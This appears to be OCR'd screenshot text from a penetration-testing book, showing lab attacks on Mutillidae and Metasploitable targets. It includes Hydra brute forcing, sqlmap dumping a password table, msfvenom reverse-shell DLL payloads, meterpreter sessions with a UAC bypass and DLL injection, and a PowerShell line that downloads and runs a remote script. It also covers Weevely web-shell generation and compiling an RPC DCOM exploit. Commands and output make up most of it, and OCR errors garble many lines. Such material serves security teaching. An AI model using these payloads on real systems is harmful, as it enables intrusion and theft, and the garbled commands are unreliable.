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root@Kali:~/Downloads# hydra -1 admin -P passlist.txt 192.168.213.1 http-post-form "/mutillidae/index.php?page=1login.php:username="USER"&password:
~PASS"&login-php-submit-button=Login:Not Logged In"
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes

Hydra (http://www.thc.org/thc-hydra) starting at 2017-64-04 12:29:04

[DATA] max 9 tasks per 1 server, overall 64 tasks, 9 login tries (1:1/p:9), -0 tries per task
[DATA] attacking service http-post-form on port 86

[80] [http-post-form] host: 192.168.213.1 login: admin password: adminpass

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-64-64 12:29:29
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C:\Windows\system32>at 12:51 /interactive cmd ‘
Warning: Due to security enhancements, this task will run at the time
lexpected but not interactively.

Use schtasks.exe utility if interactive task is required (’schtasks /7’
for details).
Added a new job with job ID = &
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[10:21:25] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: Apache 2.4.23, PHP 5.5.38

back-end DBMS: MySQL >= 5.0

[10:21:25] [INFO] fetching database names

[10:21:26] [WARNING] reflective value(s) found and filtering out
available databases [7]:

[*] information schema
[*] mysql

[*] new

[*] nowasp

[*] performance schema
[*] phpmyadmin

[*] test
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msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=<attackerIP>lport=<Attackerport> -f dll > /root/Desktop/Inject.dll





OEBPS/Image00283.jpg
root@kali:~# sqglmap -u
'http://192.168.75.129/mutillidae/index.php?page=user—
info.php&username=admin&password=&user-info-php-submit-
button=View+Account+Details' -D nowasp —-tables
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[commix (os_shell) > dir

i < nul</div><pre class="report-header" style="text-align:left;">Default Server: dlinkrouter Address:
tdocs\mutillidae 04/09/2017 09:25 AM <DIR> . ©4/09/2017 09:25 AM <DIR>
01:38 PM 829 .htaccess 01/06/2017 01:38 PM 884 .project 04/83/2017 12 31
1:38 PM <DIR> ajax 01/06/2017 ©1:38 PM 5,756 arbitrary-file-inclusion.php 01/08¢
-button-discussion.php ©1/87/2817 10:00 AM 9,282 browser-info.php 01/66/2017 ©1:38 PM
:38 PM 6,985 captured-data.php 04/063/2017 12:31 AM <DIR> classes 01/06/2017 @o1:
ftrol-challenge.php 01/86/2017 ©1:38 PH 3,489 credits.php 01/06/2017 61:38 PM <DIR>
[L,286 directory-browsing.php 01/07/2017 10:28 AM 6,921 dns-lookup.php ©1/07/2017 10:28 AM
1:38 PM 1,469 framer.html 01/687/2017 ©9:29 AM 1,099 framing.php ©1/86/2017 Ol
17 10:28 AM 9,078 html5-storage.php 04/63/2017 12:31 AM <DIR> images 04/63/20]
;12 AM 7,763 installation.php ©04/03/2017 12:31 AM <DIR> javascript 01/07/2017 )
01:38 PH 303 page-not-found.php 01/07/2017 10:28 AM 4,037 password-generator-.j|
1-lookup-ajax.php 01/87/2017 10:28 AM 11,133 pen-test-tool-lookup.php 01/66/2617 01:38 PM
<DIR> phpmyadmin ©1/66/2017 01:38 PM 157 phpmyadmin.php 01/06/2017 01:38 P}
01/06/2017 01:38 PM 5,849 redirectandlog.php ©1/67/2017 10:28 AM 8,515 registe
repeater.php ©01/66/2017 ©01:38 PM 1,462 robots-txt.php ©01/66/2017 ©01:38 PM 19¢
4,773 set-background-color.php 01/86/2017 01:38 PM 68,103 set-up-database.php (
ss-discussion.php 01/07/2017 16:28 AM 10,231 source-viewer.php 01/06/2017 01:38 PM
P 1,111 ssl-misconfiguration.php 04/63/2017 12:31 AM <DIR> styles 01/087/2017 ¢
17 12:31 AM <DIR> test 01/67/2017 10:28 AM 11,3685 text-file-viewer.php 01/86/2¢
s.php 01/87/2917 10: 37 AN 7 875 nser agent upersonatmn php 01/07/2017 18 28 AM






OEBPS/Image00522.jpg
meterpreter > upload /usr/share/metasploit-framework/data/exploj
[*] uploading : /usr/share/metasploit-framework/data/exploits/c
dil

[*] uploaded : /usr/share/metasploit-framework/data/exploits/c
dil

meterpreter > shell

Process 696 created.

Channel 48 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\EISC\Desktop\vijay>dir
dir

Volume in drive C has no label.
Volume Serial Number is FCF3-3D7C

Directory of C:\Users\EISC\Desktop\vijay

06/12/2017 04:09 <DIR>
06/12/2017 04:09 <DIR> G
06/11/2017 10:17 1,193 20170611095522 default 1¢
06/11/2017 10:50 73,808 CBESACS8AB43AC13A69CCIE3E"
06/11/2017 10:50 73,811 D595D2CECO2EB93A9B6342E94
06/11/2017 10:50 59,401 E61A63BD283EE284638D800C:
06/12/2017 04:09 870,912 reflective dll.x64.d1l

5 File(s) 1,079,125 bytes

2 pir(s) 44,580,724,736 bytes free
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root@kali:~# sqlmap -u
'http://192.168.75.129/mutillidae/index.php?page=user—
info.php&username=admin&password=&user-info-php-submit-
button=View+Account+Details' --dbs
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msf post(reflective_d.ll_inject) > exploit

[*] Running module against VICTIM

[*] Injecting /root/ReflectiveDLLInjection/bin/reflective d11.dll into 3388
[*] DLL injected. Executing ReflectiveLoader

[+] DLL injected and invoked.

[*] Post module execution completed
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meterpreter > background

[*] Backgrounding session 2...

msf exploit (psexec) > use exploit/windows/local/bypassuac
msf exploit (bypassuac) > set session 2

session => 2
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wsf > use web/pma
wsf:PMA > show options

http://google.com

wsf:PMA > set target 192.168.0.120
TARGET => 192.168.0.120

[*] Your Target : 192.168.0.120
[*]Loading Path List ... Please Wait
[/phpMyAdmin/] ... [404 Not Found]
[/phpmyadmin/] ... [403 Forbidden]
[/PMA/] ... [404 Not Found]
[/admin/] ... [404 Not Found]
[/dbadmin/] ... [404 Not Found]
[/mysql/] ... [404 Not Found]
[/myadmin/] [404 Not Found]
[/phpmyadmin2/] ... [404 Not Found]
[/phpMyAdmin2/] ... [404 Not Found]
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msf exploit(bypassuac) > exploit

[*] started reverse TCP handler on 192.168.0.109:4444

[*] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[+] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded..

[*] Sending stage (957487 bytes) to 192.168.0.119

[*] Meterpreter session 2 opened (192.168.0.109:4444 —> 192.168.0.119:49636) at 2017-06-11 08:15:39 -0400
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meterpreter > getsystem
priv_elevate getsystem: Operation failed: 1

Named Pipe Impersonation (In Memory/Admin)
Named Pipe Impersonation (Dropper/Admin)
Token Duplication (In Memory/Admin)
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root@kali:~# weevely http://<target IP address><directory><password>
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install /usr/bin

install /usr/share/man/manl

install 0755 build/bin/mkbom build/bin/dumpbom build/bin/lsbom build/bin/ls4mkbom /usr/b:
install 0644 build/man/mkbom.l.gz build/man/dumpbom.l.gz build/man/lsbom.l.gz build/man/.

nl

[>] Enter server negotiation password, enter for random generation: hackerhereletmeinl
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root@kali:~# weevely http://192.168.0.120/mutillidae/weevely.php hacker

[+] weevely 3.2.0

[+] Target: 192.168.0.120
[+] Session: /root/.weevely/sessions/192.168.0.120/weevely 5.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> dir
Volume in drive C has no label.
Volume Serial Number is 2C72-03B9

Directory of C:\xampp\htdocs\mutillidae

04/09/2017 09:25 AM <DIR>

04/09/2017 09:25 AM <DIR> -

01/06/2017 01:38 PM .buildpath

04/03/2017 12:31 AM <DIR> .git

01/06/2017 01:38 PM .htaccess

01/06/2017 01:38 PM .project

04/03/2017 12:31 AM .settings

01/07/2017 10:28 AM add-to-your-blog.php
01/06/2017 01:38 PM ajax

01/06/2017 01:38 PM arbitrary-file-inclusion.php
01/06/2017 01:38 PM authorization-required.php
01/06/2017 01:38 PM back-button-discussion.php
01/07/2017 10:00 AM browser—info.oho
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[Empire] Post-Exploitation Framework

[Version] 2.0 | [Web] https://theempire.io

267 modules currently loaded
0 listeners currently active

0 agents currently active

(Empire) > ||
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root@kali:~# weevely generate <password><path>
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msf exploit(handler) > set lhost 192.168.0.109
lhost => 192.168.0.109

msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > exploit

[*] sStarted reverse TCP handler on 192.168.0.109:443
[*] starting the payload handler...

[*] Sending stage (1189423 bytes) to 192.168.0.166
[*] Meterpreter session 1 opened (192.168.0.109:443 -> 192.168.0.166:64936) at 2017-06-10
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root@kali:~# weevely

[+]
[!1

[+]

[+]

weevely 3.2.0
Error: too few arguments

Run terminal to the target
weevely <URL> <password> [cmd]

Load session file
weevely session <path> [cmd]

Generate backdoor agent
weevely generate <password> <path>
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git clone https://github.com/EmpireProject/Empire
cd Empire/

cd setup

./install.sh
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root@kali:~# nmap -sV -p 3389 —--script rdp-vuln-ms12-020 < IP>
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root@ext-kali:~# nmap -sV -p 3389 —-script rdp-vuln-ms12-020 192.168.1.101

Starting Nmap 7.31 ( https://mmap.org ) at 2017-04-11 11:34 MYT
Nmap scan report for 192.168.1.101
Host is up (0.069s latency) .
PORT STATE SERVICE VERSION
3389/tcp open ssl/ms-wbt-server?
| rdp-vuln-ms12-020:
VULNERAELE :
MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
State: VULNERABLE
IDs: CVE:CVE-2012-0152
Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:
Remote Desktop Protocol vulnerability that could allow remote

Disclosure date: 2012-03-13

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
http://technet.microsoft.com/en-us/security/bulletin/ms12-020

MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
State: VULNERABLE
IDs: CVE:CVE-2012-0002
Risk factor: High CVsSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
Remote Desktop Protocol vulnerabilitv that could allow remote

|
|
|
|
|
|
|
|
I References:
|
|
|
|
|
|
|
|
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root@kali:~# nmap - p 3389 —--script rdp-enum-encryption <IP>
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O
AR

agents BRI EI S

creds BRI / S 7s SE

exit iR iy Empire

help TN e

interact S BT H )

list B U Sl AU B T 6

listeners HEHUTRIEATACE.

load MAEFRUE SCIF 2 2% Empire #5
reload FOFTNZ— Empire fHe (543%8)
reset EELRES (B, 1P HAH)
searchmodule 12 Empire B2 FK / 15001

set WE A RES (Fan, 1P HA4H)
show SR A RS (i, TP 14 B
usemodule i Fl Empire bk

usestager fili Empire stager
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root@ext-kali:~# nmap -p 3389 --script rdp-enum-encryption 192.168.1.120

Starting Nmap 7.31 ( https://mmap.org ) at 2017-04-11 11:37 MYT
Nmap scan report for 192.168.1.120

Host is up (0.052s latency).

PORT STATE SERVICE

3389/tcp open ms-wbt-server

| rdp-enum-encryption:

| Security layer

I_ CredsSsSP: SUCCESS

MAC Address: 34:F3:9A:0B:51:BC (Unknown)
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(Empire) > listeners
[!'] No listeners currently active
(Empire: listeners) > uselistener http

http http com http foreign
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info

Name: HTTP[S]
Category: client server

Authors:
@harm3jOy

Description:

Starts a http[s] listener
GET/POST approach.

(Powershell or Python) that uses a
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[10:24:21] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: Apache 2.4.23, PHP 5.5.38

back-end DBMS: MySQL >= 5.0

[10:24:21] [INFO] fetching columns for table 'accounts' in database 'nowasp’'
[10:24:22] [WARNING] reflective value(s) found and filtering out

[10:24:22] [INFO] fetching entries for table 'accounts' in database 'nowasp'
[10:24:23] [INFO] analyzing table dump for possible password hashes
Database: nowasp

Table: accounts

[23 entries]

mysignature

adminpass g0t r00t?
Crenshaw somepassword Zombie Films Rock!
Pentest monkey I like the smell of confunk
Druin password d1373 1337 speak
password I Love SANS
WTF samurai Carving fools
Rome password Rome is burning
Hill password Hank is my dad
Lion password I am a super-cat
Evil password . Preparation H
Evil password Scotty do
Calipari password C-A-T-S Cats Cats Cats
Wall password Do the Duggie!
Johnson 42 Doug Adams rocks
Kennedy set Bet on S.E.T. FTW
Pester tortoise meow
Paws stripes treats?
Tomes lanmaster53 i Because reconnaissance is hard to spell
Baker SoSecret Muffin tops only
NotTelling Where is Tinker?
JollyRoger Gator-hater
Occupation: Researcher
Commandline KungFu anyone?
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IEX (New-Object
Net.WebClient) .DownloadString ('http://<HostingIP>/Invoke-DllInjection.psl')
Invoke-DllInjection —-ProcessID xxx c:\<location>\injection.dll
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root@kali:~# sqlmap -u
'http://192.168.75.129/mutillidae/index.php?page=user—
info.php&username=admin&password=&user-info-php-submit-
button=View+Account+Details' -D nowasp - T accounts --dump
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C:\Users‘\vagrant> IEX (New—Object Net.WebClient).DownloadString<’http://192.168.8.189/Invoke-D1lInjection.psl1’>
C:\Users\vagrant> Invoke-DllInjection —ProcessID 1136 C:\Users‘vagrant\Desktop:\inject.dll

Size(K> ModuleName FileName

28 inject.dll C:\Users\vagrant\Desktop\inject.d1ll
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root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.109
lport=443 -f dll > /root/Desktop/inject.dll

No platform was selected, choosing Msf::Module::Platform: :Windows from the paylo
ad

No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes

Final size of dll file: 5120 bytes
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meterpreter > upload inject.dll

root@kali:~# service apache2 start

root@kali:~# wget

https://raw.githubusercontent .com/PowerShellMafia/PowerSploit/master/CodeEx
ecution/Invoke-DllInjection.psl

root@kali:~# mv Invoke-DllInjection.psl /var/www/html/
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root@kali:~# nmap -vv -n -Pn -p 80 --open —-script mynewscript.nse 192.168.0.124

Starting Nmap 7.40 ( https://mmap.org ) at 2017-03-11 06:37 EST
NSE: Loaded 1 scripts for scanning.

NSE: Script Pre-scanning.

NSE: Starting runlevel 1 (of 1) scan.

Initiating NSE at 06:37

Completed NSE at 06:37, 0.00s elapsed

Initiating SYN Stealth Scan at 06:37

Scanning 192.168.0.124 [1 port]

Discovered open port 80/tcp on 192.168.0.124

Completed SYN Stealth Scan at 06:37, 0.06s elapsed (1 total ports)
NSE: Script scanning 192.168.0.124.

NSE: Starting runlevel 1 (of 1) scan.

Initiating NSE at 06:37

Completed NSE at 06:37, 0.00s elapsed

Nmap scan report for 192.168.0.124

Host is up, received user-set (0.000052s latency).

Scanned at 2017-03-11 06:37:27 EST for Os

PORT STATE SERVICE REASON

80/tcp open http syn-ack ttl 64

|_mynewscript: sucessfull
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root@kali:/tmp# ./76.exe
[RPC DCOM exploit coded by .:[ocl92.us]:. Security
BEETCH

./76.exe -d <host> [options]

Hostname to attack [Required]

Type [Default: 0]

Return address [Default: Selected from target]
Attack port [Default: 135]

Bindshell port [Default: 666]

0 [0x0018759f]: [Win2k-Universal]
1 [0x0100139d]: [WinXP-Universal]
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root@kali:~# ./76.exe
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nmap —--script-updatedb
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root@kali:/usr/share/nmap/scripts#
root@kali:/usr/share/nmap/scripts# 1s | we -1

554

root@kali:/usr/share/nmap/scripts# 1ls -la | more

total 4520

root root 81920 Mar 8 04:21 .

root root 4096 Feb 20 00:17 ..

root root 3901 Dec 23 03:54 acarsd-info.nse

root root 8777 Dec 23 03:54 address-info.nse
root root 3345 Dec 23 03:54 afp-brute.nse
root root 6891 Dec 23 03:54 afp-ls.nse

—rw-r——r—-—
CEW-T-_—r -
cEW-Tr——r——
CEW-E-——T——
CEW-T——T——
CEW-r—r——
CEW-T—-F¥ —
—rw-r——r——
CEW-T-—T-——
FEWN-T-——Tr——
crW-r—-r——
—rw-r—-r——
CEM-T-——x——

root root 7001 Dec 23 03:54 afp-path-vuln.nse
root root 5671 Dec 23 03:54 afp-serverinfo.nse
root root 2621 Dec 23 03:54 afp-showmount.nse
root root 2262 Dec 23 03:54 ajp-auth.nse

root root 2965 Dec 23 03:54 ajp-brute.nse

root root 1329 Dec 23 03:54 ajp-headers.nse
root root 2515 Dec 23 03:54 ajpmethods.nse
root root 3023 Dec 23 03:54 ajp-request.nse
root root 7017 Dec 23 03:54 allseeingeye-info.nse
root root 1783 Dec 23 03:54 amgp-info.nse

root root 15150 Dec 23 03:54 asn—query.nse

HERRHEHRPRHEHRBRHERHERBRHERBREREREAN
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#!/usr/bin/lua

local file = io.open("/etc/passwd", "r")
contents = file:read()

file:close()

print (contents)
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nmap-T4 -A -sV -v3 -d -oATargetoutput --script all --script-
argsvulns.showalltarget.com
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local http=require 'http'

description = [[ This is my custom discovery on the network ]]
categories = {"safe","discovery"}

require ("http")

function portrule (host, port)

return port.number == 80

end

function action (host, port)

local response

response = http.get (host, port, "/test.txt")

if response.status and response.status ~= 404
then

return "successful"

end

end
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root@kali:~# nano test.lua
rootRkali:~# chmod +x test.lua

root@kali:~# ./test.lua
root:x:0:0:root:/root:/bin/bash
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root@kali:/usr/share/exploitdb/platforms/windows/remotelf cp 76.c /tmp
root@kali:/usr/share/exploitdb/platforms/windows/remote# cd /tmp
root@kali:/tmp# 1s

[76.c
root@kali:/tmp# gcc 76.c -o T6.exe
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nikto.pl -host target.com -Plugins
"apacheusers (enumerate,dictionary:users.txt); report_xml" -output
apacheusers.xml
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> @ 192.168.0.129
lemo.testfire.net

» [ fbank

> fimages

cgi.exe
comment.aspx
default.aspx [content=inside _investor.htm]

feedback.aspx

notfound.aspx
search.aspx [txtSearch=vega]

search.aspx [txtSearch=vega&btnSubmit=
[ style.css

survey_questions.aspx [step=a]

O

Subgraph Vega © 0606
© Scanner
@ Website View| S e 8 mgc0 W&lmemem 3 Proxy Status D@y co
v @& 192.168.0.129 =D Host Method Request Status Length Time (r m
=/ 2 httpi//demo.testfi GET  / 200 9550 227

3 http://demo.testﬂ\; POST | /comment.aspx . 200 ‘ 7201 1229
4 http:l/demo.tesmé GET /bank/apply.aspx 200 I 77 218
5 | htp:/idemo testfi GET | /bankilogin.aspx |00 864 |23
6 | httpu//demodtestfil GET | /search.aspx?txtSearch=vega%20-->">>"<vv000127v569194> |200 |7248  [232
7 | ntip//demostestfii GET | /bank/members/ 401 1203 w7
8 | http//demodtestfil GET | /bank/customize.aspx [s00 |s0:2 231

=]
Request | Response 1

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Length: 9550

Content-Type: text/html; charset=utf-8

Expires: -1

Server: Microsoft-11S/8.0

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_Sessionld=twnw02vchnho4m55l1szov45; path=/; HitpOnly
Set-Cookie: amSessionld=452431719871; path=/

X-Powered-By: ASP.NET

Date: Sat, 11 Mar 2017 10:52:42 GMT

@ Proxy is not running \
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root@kali:~# nikto -host 192.168.0.124 -Plugins "apacheusers (enumerate,dictionary:users.txt) ;report xml" -output apacheusers.xml
Nikto v2.1.6

Target IP: 192.168.0.124

Target Hostname: 192.168.0.124
Target Port: 80
Start Time 2017-03-13 03:52
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root@ka11:~# nikto -llst-pluglnsl grep Plugin:

i siebel
apacheusers
dictionary
subdomain
httpoptions
clientaccesspolicy
ms1l0 070
fileops
auth
report html
negotiate
msgs
outdated
cgi
report csv
cookies
tests

favicon

mutiple index
drupal

report nbe
report text
report sqlg
content search
parked

apache expect xss
headers
sitefiles
paths

robots

report xml
put_del test
ssl

shellshock
embedded
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ons v Places v

File Scan Window Help Select Modules
RO & Choose which scanner modules to enable for this scan @ VEGA O Scanner| £ Proxy

ie'. ite View ® 2 BEB-0of =g

Select modules to run:

v B Injection Modules
+ Blind SQL Text Injection Differential Checks

¥ XML Injection checks

B HTTP Trace Probes

Blind SQL Injection Arithmetic Evaluation Differential Checks
Local File Include Checks

Shell Injection Checks

@ Scan Alerts F8=0 Integer Overflow Injection Checks

Format String Injection Checks
HTTP Header Injection checks
Remote File Include Checks

Blind OS Command Injection Timing
[ - >

e | 3 =0

<Back | Next> [ Cancel Finish

EES > Proxy s not running | Tasmor2eM [
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type filter text

> General
» Proxy

Scanner

Scanner Options

User-Agent:

Maximum number of total path descendants
Maximum number child paths for a single node
Maximum path depth

Maximum number of duplicate path elements
Maximum length of strings to display in alert reports
Maximum number of requests per second to send

Maximum response size to process in kilobytes (0 for unlimited)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322;

8192

512

Restore Defaults
| cancel
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python manage.py migrate
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root@kali:~/Desktop/MobSf/Mobile-Security-Framework-MobSF# python manage.py test]
Creating test database for alias 'default'...

Ran 0 tests in 0.000s

[OK
Destroying test database for alias 'default'...
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Applications v Places v Subgraph Vega ~

it

Subgraph Vega e 06
File Scan Window Help

04

@ Website View 2 ® & @ 8 =0[@sanifol
v @ 192.168.0.129

& VEGA ‘

> @ 192.168.0.129

% demo.testfire.net

» [ fbank
® Scanner Progress
»  /images
comment. aspx

@ Scan Alerts a
http://demo.testfire.net/feedback.aspx
0 03/11/2017 0 9 [Auditing] (3) 3 out of 51 scanned (5.9%)

» ® 03/11/2017 07:55:36 [Completed]
© 03/11/2017 07:55:22 [Cancelled]
© 03/11/2017 07:43:17 [Completed] Seauflent Summay

» © 03/11/2017 07:41:05 [Completed]

@ High (2 found)

s =0

A |dentities ‘

2%

[=]L

5 Proxy is not running | 120Mor20aM |
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root@kali:~# nikto -h 192.168.0.143 -p 80
Nikto v2.1.6

Target IP: 192.168.0.143
Target Hostname: 192.168.0.143

Target Port: 80
Start Time 2017-03-12 11:12:40 (GMT-4)

Server: Apache/2.4.23 (Debian)

Server leaks inodes via ETags, header found with file /, fields: 0x29cd 0x53b4d
813£41280
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user a
gent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent
to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
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nmap —--script smb-—enum-users.nse -p445 <host>
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msf > use auxiliary/scanner/snmp/snmp_enumusers
msf auxiliary( ) > show options

Module options (auxiliary/scanner/snmp/snmp_enumusers):
Name Current Setting Required Description

COMMUNITY public SNMP Community String

RETRIES 1 yes SNMP Retries

RHOSTS yes The target address range or CIDR identifier
RPORT 161 yes The target port

THREADS Vi yes The number of concurrent threads

TIMEOUT 1 yes SNMP Timeout

VERSION 1 yes SNMP Version <1/2c>

Imsf auxiliary( ) > set rhosts 192.168.60.129
rhosts => 192.168.0.129
Ims f auxiliary( ) > run

[+] 192.168.0.129:161 Found 22 users: Administrator, Guest, Hacker.kali, anakin skywalker, artoo_detoo, ben keno
bi, boba fett, c three pio, chewbacca, darth vader, greedo, han_solo, jabba | hutt, jarjar_binks, krbtgt, kylo ren|
, lando calrissian, leah organa, luke skywalker sshd, sshdiserver, vagrant

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
Insf auxiliary( I |






OEBPS/Image00124.jpg
msf > use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb enumusers) > show options

Module options (auxiliary/scanner/smb/smb enumusers) :

Current Setting

E auxiliary(smb_enumusers)
rhosts => 192.168.0.166

msf auxiliary(smb enumusers)
smbuser => vagrant

msf auxiliary(smb enumusers)
smbpass => vagrant

nsf auxiliary(smb enumusers)

Required Description
target address range or CIDR identifier
no The Windows domain to use for authentication
no The password for the specified username
no The username to authenticate as
yes The number of concurrent threads
set rhosts 192.168.0.166
set smbuser vagrant

set smbpass vagrant

run

192.168.0.166:445 - ADVANCED [ Administrator, Guest, krbtgt, vagrant, sshd, sshd serveij
er, han solo, artoo detoo, c three pio, ben kenobi, darth vader, anakin skywalker, jarjar binkg
tt, jabba hutt, greedo, chewbacca, kylo ren, Hacker.kali ] ( LockoutTries=0 PasswordMin=7 )

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
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nmap -sP -PP80IPrange
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#!/bin/bash

function helptext {

echo "enter the massnmap with the file input with list of IP address
ranges"

}

if [ "$#" -ne 1 ]; then

echo "Sorry cannot understand the command"
helptext>&2

exit 1

elif [ ! -s $1 1; then

echo "ooops it is empty"

helptext>&2

exit 1

fi

if [ "$(id -u)" != "0" ]; then
echo "I assume you are running as root"
helptext>&2
exit 1
fi
for range in $(cat $1); do
store=$ (echo S$range | sed -e 's/\//_/g")
echo "I am trying to create a store to dump now hangon"
mkdir -p pwd/$store;
iptables -A INPUT -p tcp —--dport 60000 -j DROP;
echo -e "\n alright lets fire masscan ***x*"
masscan --open —--banners —--source-port 60000 -p0-65535 --max-rate
15000 -oBpwd/$store/masscan.bin $range; masscan --read$

if [ ! -s ./results/$store/masscan-output.txt ]; then
echo "Thank you for wasting time"

else

awk'/open/ {print $4,$3,$2,$1}' ./results/$store/masscan—
output.txt | awk'
[+l
if (!($1 in Vval)) { Key[++i] = $1; }
val[$l] = val[s$1l] $2 ", ";
END{
for (j = 1; J <=1; 3++) | printf ("%s:%s\n%s"
Key[j]l, Val([Key[jll, (j == 1) 2 "" : "\n"); }

}'>}./results/$store/hostsalive.csv

for ips found in $(cat ./results/S$Sstore/hostsalive.csv); do
IP=$ (echo $TARGET | awk -F: '{print $1}');
PORT=$ (echo $TARGET | awk -F: '{print $2}' | sed's/,$//');
FILENAME=$ (echo $IP awk'{print "nmap_"$1}');

nmap -vv -sV —--version-intensity 5 -sT -O --max-rate 5000 -Pn -T3 -

p $PORT -oA ./results/$store/SFILENAME $IP;
done

fi

done
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root@kali:~# fping -g 192.168.0.1/24
192.168.0.1 is alive
Unreachable from 192.168.0.
.124 is alive
Unreachable from
.125 is alive

Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
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snmpwalk -c public ipaddress
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root@kali:~# ./massnmao.sh ipran.txt
I am trying to create a store to dump now hangon

alright lets fire masscan ****

Starting masscan 1.0.3 (http://bit.1y/14GZzcT) at 2017-03-05 08:29:25 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 256 hosts [65536 ports/host]

[Mate: 3.69-kpps, 0.67% done, 0:55:45 remaining, found-1
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msf auxiliary(snmp_enumusers) > use auxiliary/scanner/snmp/snmp_enum
st auxiliary(snmp_enum) > show:options

lodule options) (auxiliary/scanner/snmp/snmp. enum):

Name Current. Setting Required Description

COMMUNITY | public SNMP. Community String

RETRIES 1 SNMP Retries

RHOSTS The target address- range or CIDR identifier
RPORT 161 The target port

THREADS 1 The: number- of concurrent threads

TIMEOUT 1 SNMP:: Timeout:

VERSION 1 SNMP Version- <1/2c>

mst auxiliary(snmp_enum)->:set:rhosts. 192.168.0.129
rhosts => 192.168.0:129

Imsf auxiliary(snmp_enum), > run
[+1 192.168.8:129, Connected,
[*] System information:

: 192.168.0.129

: metasploitable3.Advanced.Pentest.com

: Hardware: Intel64 Family 6 Model 94 Stepping 3 AT/AT COMPATIBLE - Software: Wind
ows Version 6.1 (Build 7601 Multiprocessor Free)

: 80:16:14.84
: 90:09:21.,07
: 2017-2-25 8:35:12.1

[*] User accounts:

["sshd"]
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root@kali: -c public 192.168.56.110 -wvl

STRING: "Vyatta Vy0S 1.1.6"
0ID: iso0.3.6.1.4.1.30803
Timeticks: (1B16453) 5:02:44.53
STRING: "root"
STRING: "wvyos"
STRING: "Unknown"
INTEGER: 14
Timeticks: (14) @:00:00.14

0ID: iso. G121 180131
0ID: iso.
0ID: iso.
0ID: iso.
0ID: iso.
0ID: iso.

o un

~#
2
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2
2
ol
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2
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froot@kali: /usr/share/exploitdb# searchsploit

Server 2000 - RPC DCOM Int | /windows/dos/6l.c

8.1 - DCOM DCE/RPEC Local N | /windows/local/37768.txt

- 'RPC DCOM' Remote Buffer | /windows/remote/64.c

Server 2000/XP - 'RPC DCOM | /windows/remote/66.

'REC DCOM' Remote Exploi | /windows/remote/69.

Windows 'RPC DCOM' Remote Exploi /windows/remote/70.
Windows 'RPC DCOM' Remote Exploi /windows/remote/76.
Windows 'RPC DCOM' Scanner (MS03 /windows/remote/97.
Windows 'RPC DCOM' Long Filename /windows/remote/100.c
Windows - 'RPC DCOM2' Remote Explo | /windows/remote/103.c
RPC DCOM Interface - Overflow Expl | /windows/remote/16749.rb
Windows — DCOM RPC Interface Buffe | /windows/remote/22917.txt
(DCOM RPC2) Universal Shellcode /win_x86/shellcode/13532.asm
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root@kali:~# gcc 76.c -o 76.exe
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enumd4linux.pl [options] targetip
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smbclient -I TargetIP -L administrator -N -U ""
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Enter

# rpcclient -U "vagrant" 192.168.0.129
vagrant's password:

rpcclient $> enumdomains

name:
name:

[ADVANCED] idx: [0x0]
[Builtin] idx:[0x0]

rpcclient $> enumdomgroups

group:
group:
group:
group:
group:
group:
group:
group:
group:
group:
group:

[Enterprise Read-only Domain Controllers] rid:[0x1£2]
[Domain Admins] rid:[0x200

[Domain Users] rid: [0x201]

[Domain Guests] rid:[0x202]

[Domain Computers] rid:[0x203]

[Domain Controllers] rid:[0x204]

[Schema Admins] rid:[0x206]

[Enterprise Admins] rid: [0x207]

[Group Policy Creator Owners] rid:[0x208]
[Read-only Domain Controllers] rid:[0x209]
[DnsUpdateProxyl rid:[0x460]

rpcclient $> enumdomusers
: [Administrator] rid: [0x1f4]
: [Guest] rid:[0x1£f5]
: [krbtgt] rid:[0x1£6]
: [vagrant] rid:[0x3e8]
: [sshd] rid: [0x3e9]
:[sshd_serverj rid: [0x3ea]
: [leah organal rid:[0x3eb]
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K # enumdlinux -U -o 192.168.0.166
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linuy

RID Range

Password
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

'', password ''

Domain Name: ADVANCED
Domain Sid: S-1-5-21-200656168-3689603815-2654161410
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SPARTA 1.0.2 (BETA) - untitled - /root/ 60

File Help
‘ Scan ‘ Brute
‘ Hosts ‘ Services Tools ‘ Services ‘ Scripts | Information Notes nikto (80/tcp) & | screenshot (80/tcp) X1 = smbenum (445/tcp) & HB
